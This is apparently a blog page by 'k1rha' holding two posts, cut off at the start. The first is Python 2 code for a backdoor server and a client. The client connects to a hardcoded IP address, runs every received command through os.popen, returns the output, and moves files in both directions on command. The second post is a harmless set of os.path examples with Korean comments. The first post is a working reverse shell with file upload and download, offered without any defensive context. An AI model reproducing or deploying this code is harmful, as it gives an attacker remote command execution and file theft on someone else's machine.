
time.sleep(TIME_SLEEP)


f = open('_'+fileName,'wb')

while 1:

data = conn.recv(1024)

if data.find('[@EOF]') >=0 :

break

else :

f.write(data)

print ":: FINISH :: "

f.close()


def fileS2C(conn,fileName) :

print ":: Uploading... ::"

time.sleep(TIME_SLEEP)


f = open(fileName,'rb')

while 1 :

fileData = f.read()

if fileData=='' :

time.sleep(TIME_SLEEP)

conn.sendall("[@EOF]")

break

else :

conn.sendall(fileData)

print "::: FINISH :: "

f.close()


############################################################################

##   MAIN 

############################################################################

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.bind(('',PORT))

sock.listen(5)

print ":: waitting... :: "

conn,client = sock.accept()

print client

while 1:

input_value = raw_input('>')

if len(input_value) < 1 :

print '>'


elif input_value.find('@DOWN') >= 0 or input_value.find('@down') >=0 : 

conn.sendall(input_value)

fileParse=os.path.split(input_value[6::])

fileC2S(conn,fileParse[1])

elif input_value.find('@UP') >= 0 or input_value.find('@up') >= 0 :

conn.sendall(input_value)

fileS2C(conn,input_value[4::])


elif input_value.find('exit') >= 0 or input_value.find('quit')>=0 :

break


else : 

conn.sendall(input_value)

data=conn.recv(2048)

print data


sock.close()



Client



import socket

import os

import time

HOST='223.194.105.120'

PORT = 1235

TIME_SLEEP = 1

##################################################################

## DEFINE 

###################################################################

def fileC2S(sock,fileName):

f = open(fileName,'rb')

while 1:

fileData=f.read()

if fileData =='' :

time.sleep(TIME_SLEEP)

sock.send("[@EOF]")

break

else : 

sock.send(fileData)


def fileS2C(sock,fileName) :

fileParse = os.path.split(fileName);

f = open('_'+fileParse[1],'wb')

while 1:

data = sock.recv(1024)

if data.find('[@EOF]') >= 0 :

break

else : 


f.write(data)

f.close()


#####################################################################

## MAIN

#####################################################################

sock =  socket.socket(socket.AF_INET,socket.SOCK_STREAM)

sock.connect((HOST,PORT))


while 1:

data = sock.recv(255)

if data.find('@DOWN') >= 0 or data.find('@down') >=0 :

fileC2S(sock,data[6::])

elif data.find('@UP') >= 0 or data.find('@up')>=0 :

fileS2C(sock,data[4::])

else :

if data[0:2].find('cd') >= 0:

os.chdir(data[3::])

sock.send("Moving..")

else :

p = os.popen(data)

sock.send("====================================\n"+p.read())

p.close()


sock.close()

 



Posted by k1rha
2012. 9. 26. 19:38

#!/usr/bin/python
# -*- coding: cp949 -*-

import os


s = os.path.split("/My Jukebox/Cool Jazz.mp3")

# 디렉토리명 구하기
print s[0]  # /My Jukebox

# 패스에서 파일명만 구하기
print s[1]  # Cool Jazz.mp3

# 확장자만 구하기
s = os.path.splitext("/My Jukebox/Cool Jazz.mp3")
print s[1]  # .mp3




# 이번에는, 드라이브명까지 포함된 Windows 전용 패스를 취급
s = os.path.splitdrive("D:/My Jukebox/Cool Jazz.mp3")

# 드라이브 이름 (MS윈도우의 경우)
print s[0]  # D:

# 드라이브명이 제거된 패스 구하기
print s[1]  # /My Jukebox/Cool Jazz.mp3

Posted by k1rha